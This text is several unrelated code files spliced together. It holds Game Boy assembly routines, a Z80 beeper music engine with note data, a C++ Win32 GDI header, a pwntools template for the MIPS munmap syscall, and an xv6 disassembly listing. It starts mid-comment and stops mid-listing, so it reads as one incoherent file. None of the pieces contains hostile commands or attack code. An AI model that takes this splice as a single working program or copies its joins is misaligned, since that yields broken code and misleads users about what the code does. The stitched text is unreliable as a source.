an arbitrary number of bytes with the same value, even if the LCD ; is on ; @param b Value to fill with ; @param hl Pointer to destination ; @param c Number of bytes to fill LCDMemsetSmall:: ldh a, [rSTAT] and a, STATF_BUSY jr nz, LCDMemsetSmall ld a, b ld [hli], a dec c jr nz, LCDMemsetSmall ret SECTION "LCDMemcopyMap", ROM0 ; Copy an arbitrary number of rows to the background map, even if the ; LCD is on ; @param de Pointer to map data ; @param hl Pointer to destination ; @param c Number of rows to copy LCDMemcopyMap:: DEF UNROLL = 2 ASSERT UNROLL * (2 + 2 + 1) <= 16 ASSERT SCRN_X_B % UNROLL == 0 ld b, SCRN_X_B / UNROLL .tileLoop ldh a, [rSTAT] and a, STATF_BUSY jr nz, .tileLoop REPT UNROLL ld a, [de] ; 2 cycles ld [hli], a ; 2 cycles inc de ; 1 cycle ENDR dec b jr nz, .tileLoop ; Move to the next row ld a, c ld c, SCRN_VX_B - SCRN_X_B ASSERT HIGH(SCRN_VX_B - SCRN_X_B) == 0 ; b = 0 add hl, bc ld c, a dec c jr nz, LCDMemcopyMap ret SECTION "LCDMemsetMap", ROM0 ; Fill an arbitrary number of rows on a tilemap with the same value, ; even if the LCD is on ; @param hl Pointer to destination ; @param b Value to fill with ; @param c Number of rows to clear LCDMemsetMap:: ld e, LOW(SCRN_VX_B - SCRN_X_B) .rowLoop DEF UNROLL = 5 ASSERT (UNROLL * 2) + 1 <= 16 ASSERT SCRN_X_B % UNROLL == 0 ld d, SCRN_X_B / UNROLL .tileLoop ldh a, [rSTAT] and a, STATF_BUSY jr nz, .tileLoop ld a, b ; 1 cycle REPT UNROLL ld [hli], a ; 2 cycles ENDR dec d jr nz, .tileLoop ; Move to the next row ASSERT HIGH(SCRN_VX_B - SCRN_X_B) == 0 ; d = 0 add hl, de ; e = LOW(SCRN_VX_B - SCRN_X_B) dec c jr nz, .rowLoop ret SECTION "Random Number", ROM0 ; @return a Random-ish number Random:: ld hl, hRandomNumber add a, [hl] ld l, LOW(rLY) add a, [hl] rrca ld l, LOW(rDIV) add a, [hl] ldh [hRandomNumber], a ret SECTION "Draw Hex", ROM0 ; @param a Value to draw ; @param hl Pointer to destination on map LCDDrawHex:: ld b, a .waitVRAM ldh a, [rSTAT] and a, STATF_BUSY jr nz, .waitVRAM ld a, b ; 1 cycle swap a ; 2 cycles and a, $0F ; 2 cycles ld [hli], a ; 2 cycles ld a, b ; 1 cycle and a, $0F ; 2 cycles ld [hli], a ; 2 cycles ; Total 12 cycles ret SECTION "Multiply u8 by u8", ROM0 ; Original code copyright (c) 2017-2018 Antonio Niño Díaz (AntonioND/SkyLyrac) ; Taken from µCity: <https://github.com/AntonioND/ucity> ; Formatting modified in this file. ; See ATTRIBUTION.md for more information. ; Multiply a by c and store the result in hl ; @param a Multiplicand (unsigned) ; @param c Multiplier (unsigned) ; @return hl Product (unsigned) Multiply:: ld b, 0 ld h, a ld l, b ; Add (c * current bit place value) to product for every set bit in a REPT 8 - 1 add hl, hl jr nc, .skip\@ add hl, bc .skip\@ ENDR ; Use conditional return instead of jump for the last bit add hl, hl ret nc add hl, bc ret SECTION "Sound Update", ROM0 SoundUpdate:: ; Clear any previous music sync data ld a, SYNC_NONE ld [wMusicSyncData], a ; Save current bank to restore when finished ldh a, [hCurrentBank] push af call SoundSystem_Process ; Restore bank pop af ldh [hCurrentBank], a ld [rROMB0], a ret
; ;-------------------------------- ; BUZZKICK ; ------------------------------ ;#define defb db ;#define defw dw ;#define db db ;#define dw dw ;#define end end ;#define org org ;#define DEFB db ;#define DEFW dw ;#define DB db ;#define DW dw ;#define END end ;#define ORG org ;#define equ equ ;#define EQU equ ORG $8000 ;test code begin ld hl,musicdata1 ld hl,musicdata2 call play ret ;engine code play di ld (drumList+1),hl ld a,(hl) inc hl ld h,(hl) ld l,a xor a ld (songSpeedComp+1),a ld (ch1out+1),a ld (ch2out+1),a ld a,128 ld (ch1freq+1),a ld (ch2freq+1),a ld a,1 ld (ch1delay1+1),a ld (ch2delay1+1),a ld a,16 ld (ch1delay2+1),a ld (ch2delay2+1),a exx ld d,a ld e,a ld b,a ld c,a push hl exx readRow ld c,(hl) inc hl bit 7,c jr z,noSpeed ld a,(hl) inc hl or a jr nz,noLoop ld a,(hl) inc hl ld h,(hl) ld l,a jr readRow noLoop ld (songSpeed+1),a noSpeed bit 6,c jr z,noSustain1 ld a,(hl) inc hl exx ld d,a ld e,a exx noSustain1 bit 5,c jr z,noSustain2 ld a,(hl) inc hl exx ld b,a ld c,a exx noSustain2 bit 4,c jr z,noNote1 ld a,(hl) ld d,a inc hl or a jr z,$+4 ; ld a,$18 ld a, 32 ld (ch1out+1),a jr z,noNote1 ld a,d ld (ch1freq+1),a srl a srl a ld (ch1delay2+1),a ld a,1 ld (ch1delay1+1),a exx ld e,d exx noNote1 bit 3,c jr z,noNote2 ld a,(hl) ld e,a inc hl or a jr z,$+4 ; ld a,$18 ld a, 32 ld (ch2out+1),a jr z,noNote2 ld a,e ld (ch2freq+1),a srl a srl a srl a ld (ch2delay2+1),a ld a,1 ld (ch2delay1+1),a exx ld c,b exx noNote2 ld a,c and 7 jr z,noDrum playDrum push hl add a,a add a,a ld c,a ld b,0 drumList: ld hl,0 add hl,bc ld a,(hl) ;length in 256-sample blocks ld b,a inc hl inc hl add a,a add a,a ld (songSpeedComp+1),a ld a,(hl) inc hl ld h,(hl) ;sample data ld l,a ld a,1 ld (mask+1),a ld c,0 loop0 ld a,(hl) ;7 mask: and 0 ;7 sub 1 ;7 sbc a,a ;4 ; and $18 ;7 and 33 ; out ($fe),a ;11 ld (26624), a ld a,(mask+1) ;13 rlc a ;8 ld (mask+1),a ;13 jr nc,$+3 ;7/12 inc hl ;6 jr $+2 ;12 jr $+2 ;12 jr $+2 ;12 jr $+2 ;12 nop ;4 nop ;4 ld a,0 ;7 dec c ;4 jr nz,loop0 ;7/12=168t djnz loop0 pop hl noDrum songSpeed: ld a,0 ld b,a songSpeedComp: sub 0 jr nc,$+3 xor a ld c,a ld a,(songSpeedComp+1) sub b jr nc,$+3 xor a ld (songSpeedComp+1),a ld a,c or a jp z,readRow ld c,a ld b,64 soundLoop ld a,3 ;7 dec a ;4 jr nz,$-1 ;7/12=50t jr $+2 ;12 dec d ;4 jp nz,ch2 ;10 ch1freq: ld d,0 ;7 ch1delay1: ld a,0 ;7 dec a ;4 jr nz,$-1 ;7/12 ch1out: ld a,0 ;7 ; out ($fe),a ;11 and 33 ld (26624), a ch1delay2: ld a,0 ;7 dec a ;4 jr nz,$-1 ;7/12 ; out ($fe),a ;11 and 33 ld (26624), a ch2 ld a,3 ;7 dec a ;4 jr nz,$-1 ;7/12=50t jr $+2 ;12 dec e ;4 jp nz,loop ;10 ch2freq: ld e,0 ;7 ch2delay1: ld a,0 ;7 dec a ;4 jr nz,$-1 ;7/12 ch2out: ld a,0 ;7 ; out ($fe),a ;11 and 33 ld (26624), a ch2delay2: ld a,0 ;7 dec a ;4 jr nz,$-1 ;7/12 ; out ($fe),a ;11 and 33 ld (26624), a loop dec b ;4 jr nz,soundLoop ;7/12=168t ld b,64 envelopeDown exx dec e jp nz,noEnv1 ld e,d ld hl,ch1delay2+1 dec (hl) jr z,$+5 ld hl,ch1delay1+1 inc (hl) noEnv1 dec c jp nz,noEnv2 ld c,b ld hl,ch2delay2+1 dec (hl) jr z,$+5 ld hl,ch2delay1+1 inc (hl) noEnv2 exx dec c jp nz,soundLoop xor a ; in a,($fe) ; cpl ; and $1f ; jp z,readRow jp readRow pop hl exx ei ret musicdata1: speed equ $c00 db $c0 seq dw ptn0 dw ptn0 dw ptn1 dw ptn2 dw ptn1 dw ptn3 dw ptn4 dw ptn5 dw ptn4 dw ptn6 dw ptn7 dw ptn7 dw ptn8 dw ptn13 dw ptn9 dw ptn10 dw ptn11 dw ptn13 dw ptn9 dw ptn10 dw ptn11 dw ptn12 dw ptn14 dw ptn14 dw 0 ptn0 db $5,$31 db $5,$31 db $11,$31 db $14,$31 db $31,$31 db $31,$31 db $f,$31 db $f,$31 db $5,$31 db $5,$31 db $11,$31 db $14,$31 db $31,$31 db $31,$31 db $f,$31 db $f,$31 db 0 ptn1 db $5,$e4 db $5,$22 db $11,$20 db $14,$df db $31,$9f db $31,$1f db $f,$b1 db $f,$b1 db $5,$f1 db $5,$31 db $11,$31 db $14,$f1 db $31,$b1 db $31,$31 db $f,$18 db $f,$9b db 0 ptn2 db $5,$dd db $5,$1b db $11,$1d db $14,$e0 db $31,$a0 db $31,$20 db $f,$f1 db $f,$f1 db $5,$f1 db $5,$31 db $11,$31 db $14,$f1 db $31,$b1 db $31,$31 db $f,$f1 db $f,$31 db 0 ptn3 db $5,$dd db $5,$1b db $11,$1d db $14,$dd db $31,$9d db $31,$1d db $f,$f1 db $f,$f1 db $5,$f1 db $5,$31 db $11,$31 db $14,$f1 db $31,$b1 db $31,$31 db $f,$f1 db $f,$31 db 0 ptn4 db $a,$e2 db $a,$20 db $16,$22 db $19,$e5 db $31,$a5 db $31,$25 db $14,$b1 db $14,$b1 db $a,$f1 db $a,$31 db $16,$31 db $19,$e4 db $31,$a7 db $31,$25 db $14,$24 db $14,$a2 db 0 ptn5 db $5,$e4 db $5,$22 db $11,$24 db $14,$dd db $31,$9d db $31,$1d db $f,$f1 db $f,$f1 db $5,$f1 db $5,$31 db $11,$31 db $14,$f1 db $31,$b1 db $31,$31 db $f,$f1 db $f,$31 db 0 ptn6 db $8c,$e4 db $10c,$24 db $18c,$24 db $b1,$31 db $b1,$31 db $b1,$b1 db $a,$e2 db $a,$31 db $8,$e0 db $8,$31 db $7,$df db $7,$31 db 0 ptn7 db $5,$f1 db $5,$31 db $11,$31 db $14,$f1 db $31,$b1 db $31,$31 db $f,$b1 db $f,$b1 db $5,$f1 db $5,$31 db $11,$31 db $14,$f1 db $31,$b1 db $31,$31 db $f,$31 db $f,$b1 db 0 ptn8 db $7,$f1 db $7,$31 db $13,$31 db $16,$f1 db $31,$b1 db $31,$31 db $11,$b1 db $11,$b1 db $7,$f1 db $7,$31 db $13,$31 db $16,$f1 db $31,$b1 db $31,$31 db $11,$31 db $11,$b1 db 0 ptn9 db $7,$e6 db $7,$24 db $13,$26 db $16,$e9 db $31,$a9 db $31,$29 db $11,$a9 db $11,$a9 db $7,$f1 db $7,$31 db $13,$31 db $16,$e6 db $31,$a9 db $31,$26 db $11,$29 db $11,$a6 db 0 ptn10 db $7,$eb db $7,$2b db $13,$2b db $16,$eb db $31,$b1 db $31,$31 db $11,$f1 db $11,$f1 db $7,$f1 db $7,$31 db $13,$26 db $16,$f1 db $31,$a4 db $31,$31 db $11,$df db $11,$31 db 0 ptn11 db $7,$e6 db $7,$27 db $13,$26 db $16,$df db $31,$9f db $31,$1f db $11,$9f db $11,$9f db $7,$f1 db $7,$31 db $13,$31 db $16,$f1 db $31,$a6 db $31,$31 db $11,$26 db $11,$a7 db 0 ptn12 db $1a,$e6 db $1a,$26 db $18,$24 db $18,$24 db $16,$22 db $16,$22 db $15,$21 db $15,$21 db $e,$26 db $e,$26 db $c,$24 db $c,$24 db $a,$22 db $a,$22 db $9,$21 db $9,$21 db 0 ptn13 db $7,$f1 db $7,$31 db $13,$31 db $16,$f1 db $31,$b1 db $31,$31 db $11,$f1 db $11,$f1 db $7,$f1 db $7,$31 db $13,$31 db $16,$f1 db $31,$b1 db $31,$31 db $11,$f1 db $11,$31 db 0 ptn14 db $1a,$26 db $18,$24 db $16,$22 db $15,$21 db $e,$26 db $c,$24 db $a,$22 db $9,$21 db 0 musicdata2 dw $0944 dw p2 db $01,$02 db $03,$04 db $05,$06 db $07,$08 db $09,$0a db $0b,$0c db $01,$0d db $0e,$0f db $01,$02 db $03,$04 db $05,$06 db $07,$10 db $09,$11 db $0b,$12 db $05,$13 db $14,$15 db $16,$17 db $18,$19 db $1a,$17 db $1b,$1c db $1d,$1e db $1f,$20 db $1d,$1e db $21,$20 db $16,$17 db $18,$1c db $1a,$17 db $1b,$22 db $23,$24 db $25,$24 db $23,$26 db $27,$28 db $16,$17 db $18,$19 db $1a,$17 db $1b,$1c db $1d,$1e db $1f,$20 db $1d,$1e db $21,$20 db $16,$17 db $18,$1c db $1a,$17 db $1b,$22 db $29 p2: db $28 db $2a,$28 db $29,$2b db $2c,$2d db $00 p3: db $e2,$00,$e2,$00,$e2,$00,$e2,$00 db $00,$00,$38,$38,$32,$32,$2c,$2c db $2c,$00,$e2,$00,$e2,$00,$e2,$00 db $38,$38,$38,$38,$3c,$3c,$38,$38 db $97,$00,$97,$00,$97,$00,$97,$00 db $38,$38,$3c,$3c,$00,$00,$00,$00 db $2c,$00,$97,$00,$97,$00,$97,$00 db $43,$43,$3c,$3c,$00,$00,$4b,$4b db $a9,$00,$a9,$00,$a9,$00,$a9,$00 db $4b,$4b,$54,$54,$4b,$4b,$43,$43 db $2c,$00,$a9,$00,$a9,$00,$a9,$00 db $4b,$4b,$4b,$4b,$54,$54,$4b,$4b db $4b,$4b,$59,$00,$59,$00,$59,$00 db $2c,$00,$ca,$00,$b3,$00,$b3,$00 db $54,$00,$54,$00,$4b,$00,$4b,$00 db $38,$38,$32,$32,$00,$00,$3c,$3c db $3c,$3c,$43,$43,$4b,$4b,$54,$54 db $65,$65,$59,$59,$00,$00,$4b,$4b db $4b,$4b,$4b,$4b,$4b,$4b,$4b,$4b db $2c,$00,$97,$00,$2c,$00,$2c,$00 db $4b,$4b,$4b,$4b,$00,$00,$00,$00 db $a9,$00,$a9,$a9,$54,$00,$54,$54 db $43,$43,$38,$38,$32,$32,$43,$43 db $2c,$00,$a9,$a9,$54,$00,$54,$54 db $38,$38,$32,$32,$38,$38,$32,$32 db $97,$00,$97,$97,$4b,$00,$4b,$4b db $2c,$00,$97,$97,$2c,$00,$2c,$4b db $38,$38,$32,$32,$43,$43,$38,$38 db $86,$00,$86,$86,$43,$00,$43,$43 db $3c,$3c,$38,$38,$32,$32,$3c,$3c db $2c,$00,$86,$86,$43,$00,$43,$43 db $38,$38,$32,$32,$3c,$3c,$38,$38 db $2c,$00,$86,$86,$2c,$00,$2c,$43 db $38,$38,$32,$32,$43,$43,$3c,$3c db $ca,$00,$ca,$ca,$65,$00,$65,$65 db $43,$00,$43,$00,$43,$00,$43,$00 db $2c,$00,$ca,$ca,$65,$00,$65,$65 db $3c,$00,$3c,$00,$3c,$00,$3c,$00 db $2c,$00,$ca,$ca,$65,$00,$65,$00 db $38,$00,$38,$00,$38,$00,$38,$00 db $e2,$00,$e2,$e2,$71,$00,$71,$71 db $2c,$00,$e2,$e2,$71,$00,$71,$71 db $38,$38,$38,$38,$38,$38,$38,$38 db $2c,$e2,$e2,$e2,$e2,$00,$00,$00 db $38,$38,$38,$38,$38,$00,$00,$00 end
#ifndef _w32_gdi_AtomProperty_hpp__ #define _w32_gdi_AtomProperty_hpp__ // Copyright (c) 2009-2012, Andre Caron (andre.l.caron@gmail.com) // All rights reserved. // // Redistribution and use in source and binary forms, with or without // modification, are permitted provided that the following conditions are // met: // // * Redistributions of source code must retain the above copyright // notice, this list of conditions and the following disclaimer. // // * Redistributions in binary form must reproduce the above copyright // notice, this list of conditions and the following disclaimer in the // documentation and/or other materials provided with the distribution. // // THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS // "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT // LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR // A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT // HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, // SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT // LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, // DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY // THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT // (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE // OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. #include "__configure__.hpp" #include <w32.gdi/Atom.hpp> #include <w32.gdi/Property.hpp> namespace w32 { namespace gdi { class AtomProperty : public Property { /* data. */ private: Atom myAtom; /* construction. */ public: AtomProperty ( Window& owner, const Atom& name ) : Property(owner), myAtom(name) {} /* overrides. */ public: const wchar_t * name () const { return (myAtom.raw()); } }; } } #endif /* _w32_gdi_AtomProperty_hpp__ */
<% from pwnlib.shellcraft.mips.linux import syscall %> <%page args="addr, length"/> <%docstring> Invokes the syscall munmap. See 'man 2 munmap' for more information. Arguments: addr(void): addr len(size_t): len </%docstring> ${syscall('SYS_munmap', addr, length)}
_ps: file format elf32-i386 Disassembly of section .text: 00000000 <main>: #include "fcntl.h" int main(int argc, char *argv[]) { 0: 55 push %ebp 1: 89 e5 mov %esp,%ebp 3: 83 e4 f0 and $0xfffffff0,%esp cps(); 6: e8 fe 02 00 00 call 309 <cps> exit(); b: e8 51 02 00 00 call 261 <exit> 00000010 <strcpy>: #include "user.h" #include "x86.h" char* strcpy(char *s, const char *t) { 10: 55 push %ebp char *os; os = s; while((*s++ = *t++) != 0) 11: 31 d2 xor %edx,%edx { 13: 89 e5 mov %esp,%ebp 15: 53 push %ebx 16: 8b 45 08 mov 0x8(%ebp),%eax 19: 8b 5d 0c mov 0xc(%ebp),%ebx 1c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi while((*s++ = *t++) != 0) 20: 0f b6 0c 13 movzbl (%ebx,%edx,1),%ecx 24: 88 0c 10 mov %cl,(%eax,%edx,1) 27: 83 c2 01 add $0x1,%edx 2a: 84 c9 test %cl,%cl 2c: 75 f2 jne 20 <strcpy+0x10> ; return os; } 2e: 5b pop %ebx 2f: 5d pop %ebp 30: c3 ret 31: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 38: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 3f: 90 nop 00000040 <strcmp>: int strcmp(const char *p, const char *q) { 40: 55 push %ebp 41: 89 e5 mov %esp,%ebp 43: 56 push %esi 44: 53 push %ebx 45: 8b 5d 08 mov 0x8(%ebp),%ebx 48: 8b 75 0c mov 0xc(%ebp),%esi while(*p && *p == *q) 4b: 0f b6 13 movzbl (%ebx),%edx 4e: 0f b6 0e movzbl (%esi),%ecx 51: 84 d2 test %dl,%dl 53: 74 1e je 73 <strcmp+0x33> 55: b8 01 00 00 00 mov $0x1,%eax 5a: 38 ca cmp %cl,%dl 5c: 74 09 je 67 <strcmp+0x27> 5e: eb 20 jmp 80 <strcmp+0x40> 60: 83 c0 01 add $0x1,%eax 63: 38 ca cmp %cl,%dl 65: 75 19 jne 80 <strcmp+0x40> 67: 0f b6 14 03 movzbl (%ebx,%eax,1),%edx 6b: 0f b6 0c 06 movzbl (%esi,%eax,1),%ecx 6f: 84 d2 test %dl,%dl 71: 75 ed jne 60 <strcmp+0x20> 73: 31 c0 xor %eax,%eax p++, q++; return (uchar)*p - (uchar)*q; } 75: 5b pop %ebx 76: 5e pop %esi return (uchar)*p - (uchar)*q; 77: 29 c8 sub %ecx,%eax } 79: 5d pop %ebp 7a: c3 ret 7b: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 7f: 90 nop 80: 0f b6 c2 movzbl %dl,%eax 83: 5b pop %ebx 84: 5e pop %esi return (uchar)*p - (uchar)*q; 85: 29 c8 sub %ecx,%eax } 87: 5d pop %ebp 88: c3 ret 89: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 00000090 <strlen>: uint strlen(const char *s) { 90: 55 push %ebp 91: 89 e5 mov %esp,%ebp 93: 8b 4d 08 mov 0x8(%ebp),%ecx int n; for(n = 0; s[n]; n++) 96: 80 39 00 cmpb $0x0,(%ecx) 99: 74 15 je b0 <strlen+0x20> 9b: 31 d2 xor %edx,%edx 9d: 8d 76 00 lea 0x0(%esi),%esi a0: 83 c2 01 add $0x1,%edx a3: 80 3c 11 00 cmpb $0x0,(%ecx,%edx,1) a7: 89 d0 mov %edx,%eax a9: 75 f5 jne a0 <strlen+0x10> ; return n; } ab: 5d pop %ebp ac: c3 ret ad: 8d 76 00 lea 0x0(%esi),%esi for(n = 0; s[n]; n++) b0: 31 c0 xor %eax,%eax } b2: 5d pop %ebp b3: c3 ret b4: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi bb: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi bf: 90 nop 000000c0 <memset>: void* memset(void *dst, int c, uint n) { c0: 55 push %ebp c1: 89 e5 mov %esp,%ebp c3: 57 push %edi c4: 8b 55 08 mov 0x8(%ebp),%edx } static inline void stosb(void *addr, int data, int cnt) { asm volatile("cld; rep stosb" : c7: 8b 4d 10 mov 0x10(%ebp),%ecx ca: 8b 45 0c mov 0xc(%ebp),%eax cd: 89 d7 mov %edx,%edi cf: fc cld d0: f3 aa rep stos %al,%es:(%edi) stosb(dst, c, n); return dst; } d2: 89 d0 mov %edx,%eax d4: 5f pop %edi d5: 5d pop %ebp d6: c3 ret d7: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi de: 66 90 xchg %ax,%ax 000000e0 <strchr>: char* strchr(const char *s, char c) { e0: 55 push %ebp e1: 89 e5 mov %esp,%ebp e3: 53 push %ebx e4: 8b 45 08 mov 0x8(%ebp),%eax e7: 8b 55 0c mov 0xc(%ebp),%edx for(; *s; s++) ea: 0f b6 18 movzbl (%eax),%ebx ed: 84 db test %bl,%bl ef: 74 1d je 10e <strchr+0x2e> f1: 89 d1 mov %edx,%ecx if(*s == c) f3: 38 d3 cmp %dl,%bl f5: 75 0d jne 104 <strchr+0x24> f7: eb 17 jmp 110 <strchr+0x30> f9: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 100: 38 ca cmp %cl,%dl 102: 74 0c je 110 <strchr+0x30> for(; *s; s++) 104: 83 c0 01 add $0x1,%eax 107: 0f b6 10 movzbl (%eax),%edx 10a: 84 d2 test %dl,%dl 10c: 75 f2 jne 100 <strchr+0x20> return (char*)s; return 0; 10e: 31 c0 xor %eax,%eax } 110: 5b pop %ebx 111: 5d pop %ebp 112: c3 ret 113: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 11a: 8d b6 00 00 00 00 lea 0x0(%esi),%esi 00000120 <gets>: char* gets(char *buf, int max) { 120: 55 push %ebp 121: 89 e5 mov %esp,%ebp 123: 57 push %edi 124: 56 push %esi int i, cc; char c; for(i=0; i+1 < max; ){ 125: 31 f6 xor %esi,%esi { 127: 53 push %ebx 128: 89 f3 mov %esi,%ebx 12a: 83 ec 1c sub $0x1c,%esp 12d: 8b 7d 08 mov 0x8(%ebp),%edi for(i=0; i+1 < max; ){ 130: eb 2f jmp 161 <gets+0x41> 132: 8d b6 00 00 00 00 lea 0x0(%esi),%esi cc = read(0, &c, 1); 138: 83 ec 04 sub $0x4,%esp 13b: 8d 45 e7 lea -0x19(%ebp),%eax 13e: 6a 01 push $0x1 140: 50 push %eax 141: 6a 00 push $0x0 143: e8 31 01 00 00 call 279 <read> if(cc < 1) 148: 83 c4 10 add $0x10,%esp 14b: 85 c0 test %eax,%eax 14d: 7e 1c jle 16b <gets+0x4b> break; buf[i++] = c; 14f: 0f b6 45 e7 movzbl -0x19(%ebp),%eax 153: 83 c7 01 add $0x1,%edi 156: 88 47 ff mov %al,-0x1(%edi) if(c == '\n' || c == '\r') 159: 3c 0a cmp $0xa,%al 15b: 74 23 je 180 <gets+0x60> 15d: 3c 0d cmp $0xd,%al 15f: 74 1f je 180 <gets+0x60> for(i=0; i+1 < max; ){ 161: 83 c3 01 add $0x1,%ebx 164: 89 fe mov %edi,%esi 166: 3b 5d 0c cmp 0xc(%ebp),%ebx 169: 7c cd jl 138 <gets+0x18> 16b: 89 f3 mov %esi,%ebx break; } buf[i] = '\0'; return buf; } 16d: 8b 45 08 mov 0x8(%ebp),%eax buf[i] = '\0'; 170: c6 03 00 movb $0x0,(%ebx) } 173: 8d 65 f4 lea -0xc(%ebp),%esp 176: 5b pop %ebx 177: 5e pop %esi 178: 5f pop %edi 179: 5d pop %ebp 17a: c3 ret 17b: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 17f: 90 nop 180: 8b 75 08 mov 0x8(%ebp),%esi 183: 8b 45 08 mov 0x8(%ebp),%eax 186: 01 de add %ebx,%esi 188: 89 f3 mov %esi,%ebx buf[i] = '\0'; 18a: c6 03 00 movb $0x0,(%ebx) } 18d: 8d 65 f4 lea -0xc(%ebp),%esp 190: 5b pop %ebx 191: 5e pop %esi 192: 5f pop %edi 193: 5d pop %ebp 194: c3 ret 195: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 19c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 000001a0 <stat>: int stat(const char *n, struct stat *st) { 1a0: 55 push %ebp 1a1: 89 e5 mov %esp,%ebp 1a3: 56 push %esi 1a4: 53 push %ebx int fd; int r; fd = open(n, O_RDONLY); 1a5: 83 ec 08 sub $0x8,%esp 1a8: 6a 00 push $0x0 1aa: ff 75 08 pushl 0x8(%ebp) 1ad: e8 ef 00 00 00 call 2a1 <open> if(fd < 0) 1b2: 83 c4 10 add $0x10,%esp 1b5: 85 c0 test %eax,%eax 1b7: 78 27 js 1e0 <stat+0x40> return -1; r = fstat(fd, st); 1b9: 83 ec 08 sub $0x8,%esp 1bc: ff 75 0c pushl 0xc(%ebp) 1bf: 89 c3 mov %eax,%ebx 1c1: 50 push %eax 1c2: e8 f2 00 00 00 call 2b9 <fstat> close(fd); 1c7: 89 1c 24 mov %ebx,(%esp) r = fstat(fd, st); 1ca: 89 c6 mov %eax,%esi close(fd); 1cc: e8 b8 00 00 00 call 289 <close> return r; 1d1: 83 c4 10 add $0x10,%esp } 1d4: 8d 65 f8 lea -0x8(%ebp),%esp 1d7: 89 f0 mov %esi,%eax 1d9: 5b pop %ebx 1da: 5e pop %esi 1db: 5d pop %ebp 1dc: c3 ret 1dd: 8d 76 00 lea 0x0(%esi),%esi return -1; 1e0: be ff ff ff ff mov $0xffffffff,%esi 1e5: eb ed jmp 1d4 <stat+0x34> 1e7: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 1ee: 66 90 xchg %ax,%ax 000001f0 <atoi>: int atoi(const char *s) { 1f0: 55 push %ebp 1f1: 89 e5 mov %esp,%ebp 1f3: 53 push %ebx 1f4: 8b 4d 08 mov 0x8(%ebp),%ecx int n; n = 0; while('0' <= *s && *s <= '9') 1f7: 0f be 11 movsbl (%ecx),%edx 1fa: 8d 42 d0 lea -0x30(%edx),%eax 1fd: 3c 09 cmp $0x9,%al n = 0; 1ff: b8 00 00 00 00 mov $0x0,%eax while('0' <= *s && *s <= '9') 204: 77 1f ja 225 <atoi+0x35> 206: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 20d: 8d 76 00 lea 0x0(%esi),%esi n = n*10 + *s++ - '0'; 210: 83 c1 01 add $0x1,%ecx 213: 8d 04 80 lea (%eax,%eax,4),%eax 216: 8d 44 42 d0 lea -0x30(%edx,%eax,2),%eax while('0' <= *s && *s <= '9') 21a: 0f be 11 movsbl (%ecx),%edx 21d: 8d 5a d0 lea -0x30(%edx),%ebx 220: 80 fb 09 cmp $0x9,%bl 223: 76 eb jbe 210 <atoi+0x20> return n; } 225: 5b pop %ebx 226: 5d pop %ebp 227: c3 ret 228: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 22f: 90 nop 00000230 <memmove>: void* memmove(void *vdst, const void *vsrc, int n) { 230: 55 push %ebp 231: 89 e5 mov %esp,%ebp 233: 57 push %edi 234: 8b 55 10 mov 0x10(%ebp),%edx 237: 8b 45 08 mov 0x8(%ebp),%eax 23a: 56 push %esi 23b: 8b 75 0c mov 0xc(%ebp),%esi char *dst; const char *src; dst = vdst; src = vsrc; while(n-- > 0) 23e: 85 d2 test %edx,%edx 240: 7e 13 jle 255 <memmove+0x25> 242: 01 c2 add %eax,%edx dst = vdst; 244: 89 c7 mov %eax,%edi 246: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 24d: 8d 76 00 lea 0x0(%esi),%esi *dst++ = *src++; 250: a4 movsb %ds:(%esi),%es:(%edi) while(n-- > 0) 251: 39 fa cmp %edi,%edx 253: 75 fb jne 250 <memmove+0x20> return vdst; } 255: 5e pop %esi 256: 5f pop %edi 257: 5d pop %ebp 258: c3 ret 00000259 <fork>: name: \ movl $SYS_ ## name, %eax; \ int $T_SYSCALL; \ ret SYSCALL(fork) 259: b8 01 00 00 00 mov $0x1,%eax 25e: cd 40 int $0x40 260: c3 ret 00000261 <exit>: SYSCALL(exit) 261: b8 02 00 00 00 mov $0x2,%eax 266: cd 40 int $0x40 268: c3 ret 00000269 <wait>: SYSCALL(wait) 269: b8 03 00 00 00 mov $0x3,%eax 26e: cd 40 int $0x40 270: c3 ret 00000271 <pipe>: SYSCALL(pipe) 271: b8 04 00 00 00 mov $0x4,%eax 276: cd 40 int $0x40 278: c3 ret 00000279 <read>: SYSCALL(read) 279: b8 05 00 00 00 mov $0x5,%eax 27e: cd 40 int $0x40 280: c3 ret 00000281 <write>: SYSCALL(write) 281: b8 10 00 00 00 mov $0x10,%eax 286: cd 40 int $0x40 288: c3 ret 00000289 <close>: SYSCALL(close) 289: b8 15 00 00 00 mov $0x15,%eax 28e: cd 40 int $0x40 290: c3 ret 00000291 <kill>: 